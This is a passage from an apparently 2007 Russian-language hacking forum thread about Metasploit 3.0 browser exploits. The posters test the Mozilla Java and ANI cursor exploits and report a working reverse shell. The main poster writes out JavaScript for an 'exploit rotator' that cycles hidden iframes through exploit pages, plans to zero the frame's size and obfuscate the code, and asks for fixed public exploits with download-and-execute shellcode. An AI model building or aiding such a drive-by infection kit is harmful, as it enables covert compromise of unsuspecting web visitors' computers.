    3.multi/browser/mozilla_navigatorjava - (аналог: отсутствует). Сплоит эксплуатирует уязвимость выполнения кода в Mozilla Suite, Mozilla Firefox, и приложения Mozilla Thunderbird. Успешная эксплуатация уязвимости возможна, если Java-плагин установлен.
    Обратим внимание на цели:
    - уязвимы все системы, где установлен этот браузер. Для каждой системы потребуется своя начинка. Коды ситуаций 35 (и ещё 3 шт.).

    ... обновлено, добавлен сплоит под №0, продолжаю анализ сплоитов (19 шт. уже не мало, но это не всё)...
     
    #5 -=lebed=-, 4 Apr 2007
    Last edited: 5 Apr 2007
    2 people like this.
  6. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    Было бы просто отлично(хотя и так супер), если бы автор описал нам новейшую уязвимость Ani курсорчиков под винды. Я думаю, что большинство виндовых машин уязвимы, а значит эта уязвимость архиактуальна.
     
    1 person likes this.
  7. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Что-то не понял, а где часть 5?
     
  8. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Есть всё тут: http://securityvulns.ru/news/Microsoft/Windows/ANI.html
     
    1 person likes this.
  9. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    :D Пятая будет потом. Описание релиза 3.0 + пользовательский мануал + мануал разработчика.

    P.S. Надоело описывать одно и тоже. n0ne сделает перевод мана для разработчиков, кроме того выйдет рабочий сплоит the ANI vulnerability on Vista (skape), если уже не вышел, вот тогда можно будет и пятую часть написать. ;)
     
    1 person likes this.
  10. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Сделал update релиза MSF 3.0 появился в списочке этот сплоит!
    windows/browser/ani_loadimage_chunksize - завтра буду тестить, Добавлю в анализ и потом в свой ротатор, так как очень актуален, как заметил Alexsize.
    Вот инфа:
    Вот перевод описания:
     
    #10 -=lebed=-, 4 Apr 2007
    Last edited: 5 Apr 2007
  11. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Затестил сегодня сплоит windows/browser/ani_loadimage_chunksize на WIN-XP-SP2+IE 6.0 - пока не работает, IE не валит, полезную нагрузку не выполняет, сессию не открыватет. Придётся ждать, когда его код доведут до ума, чтоб можно было исполнить начинку...
     
  12. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Кто тестил ? На viste ?
    На оффсайте показано, что работает:
    Кто не хочет делать обновление релиза 3.0 можете скачать сплоит отдельно тут.
    У кого виста + msf 3.0 релиз может затестите? На XP-SP2, цели 0,1,2 чёт не пашет :mad:
     
  13. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    У меня не заработал сплойт.
     
    2 people like this.
  14. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Кароче есть функция:
    Code:
    function changePage() {
    		document.getElementById( "ifrm" ).src = sites[currentPage];
    	 }
    
    Вызываем в теле функцию:
    Code:
    <body onload="changePage()">
    	<iframe id="ifrm" src=""/>
      </body>
    
    и получаем в Ифрейме нужную страничку.

    А мне хотелось бы не в Ифрейме, а просто перенаправить на неё юзера. И открыть в этом же (не в новом) окне. Как реализовать?
     
  15. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Модернизируем так:
    Перенаправляем юзера на нужную страницу в зависимости от ситуации (а их может быть 256 - про запас :D ). Ну я от Маков пока отказался, так, что 128. А странички будут уже содержать ротацию сплоитов. Вообщем приступаем к созданию страницы с ротацией сплоитов (универсальной) - то есть запихнём в её IFRAME все наши сплоиты, а потом можно будет вычеркнуть, те которые заведомо не подходят под конкретную ситуацию (Браузер, систему).
     
  16. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Типовой код файла rotor[N].html
    Code:
    <html>
    
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <title>rotor0</title>
    </head>
    
    
    <script type="text/javascript">
          sploits = new Array();
          currentSploit = 0;
          //тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
          sploits[0] = "0.html";
          sploits[1] = "1.html";
          sploits[2] = "2.html";
          sploits[3] = "3.html";
          sploits[4] = "4.html";
          sploits[5] = "5.html";
          sploits[6] = "6.html";
          sploits[7] = "7.html";
          sploits[8] = "8.html";
          sploits[9] = "9.html";
          sploits[10] = "10.html";
          sploits[11] = "11.html";
          function changeSploit() {
            document.getElementById( "ifrm" ).src = sploits[currentSploit];
            currentSploit++;
            if (currentSploit >= sploits.length) {
              currentSploit = 0;
            }
          }
          setInterval( "changeSploit()", 5000 );
        </script>
    
      <body onload="changeSploit()">
    <iframe id="ifrm" src="" style="text-align: Justify; padding-left:0px; padding-top:0px; height: 5%; width:10%; ">
      </body>
    </html>
    
    Проверим - работает во всех трёх браузерах.
    Интервал потом надо будет уточнить, так как некоторым сплоитам на переполнение необходимо много времени, также набор сплоитов и количество для каждой ситуации будет свой. Не забудем потом сделать размер фрейма нулевым и про обфускацию html кода.
     
    1 person likes this.
  17. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Вот сделал подборку документации по Ruby (ведь все сплоиты в пакете на нём написаны) в chm всем качать скачать
     
    #17 -=lebed=-, 12 Apr 2007
    Last edited: 12 Apr 2007
    2 people like this.
  18. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Пояснения к сплоиту.

    Народ, а вы случайно не подумали для чего в сплоите ANI есть такие стоки:

    # Should work for all English XP SP2
    [ 'Windows XP SP2 userenv.dll English', { 'Ret' => 0x769fc81a }],

    Просто этот адресм может постоянно меняться в зависимости от версии винды и языка. Даже патчи влияют на эти адреса.
    Поэтому мне кажется что смысл такого сплоита - нулевой. при нормальных условиях.
    Т.е. можно создать скрипт с базой этих адресов. И перебирать все адреса!
     
  19. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Затестил сплоит windows/browser/ani_loadimage_chunksize с начинкой реверсшелл, сработало!
    В кэше IE получается 10 картинок, сам html-код запутан и потом не пашет, если сохранить локально, вместе с картинками... :mad:
     
    #19 -=lebed=-, 30 Apr 2007
    Last edited: 30 Apr 2007
    1 person likes this.
  20. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Требуется Ваше участие для того чтоб закончить ротатор и сделать альфа версию ротатора с минимальным набором сплоитов (хотя-бы 8-10 последних, актуальных паблик сплоитов) и рабочую, а именно - требуются рабочие=исправленные паблик-сплоиты (HTML) для IE, Opera, FireFox, к которым можно прикрутить шелл-код: загрузчик EXE + исполнение, так как не все сплоиты можно сгенерировать Мetasploit`ом. Пишите в личку или тут, присылайте исправленный рабочий код или давайте ссылки, включу эксплоиты в этот ротатор. В частности нужен windows/browser/ani_loadimage_chunksize - сплоит (на html+java), использующий уязвимость в обработке анимированных курсоров.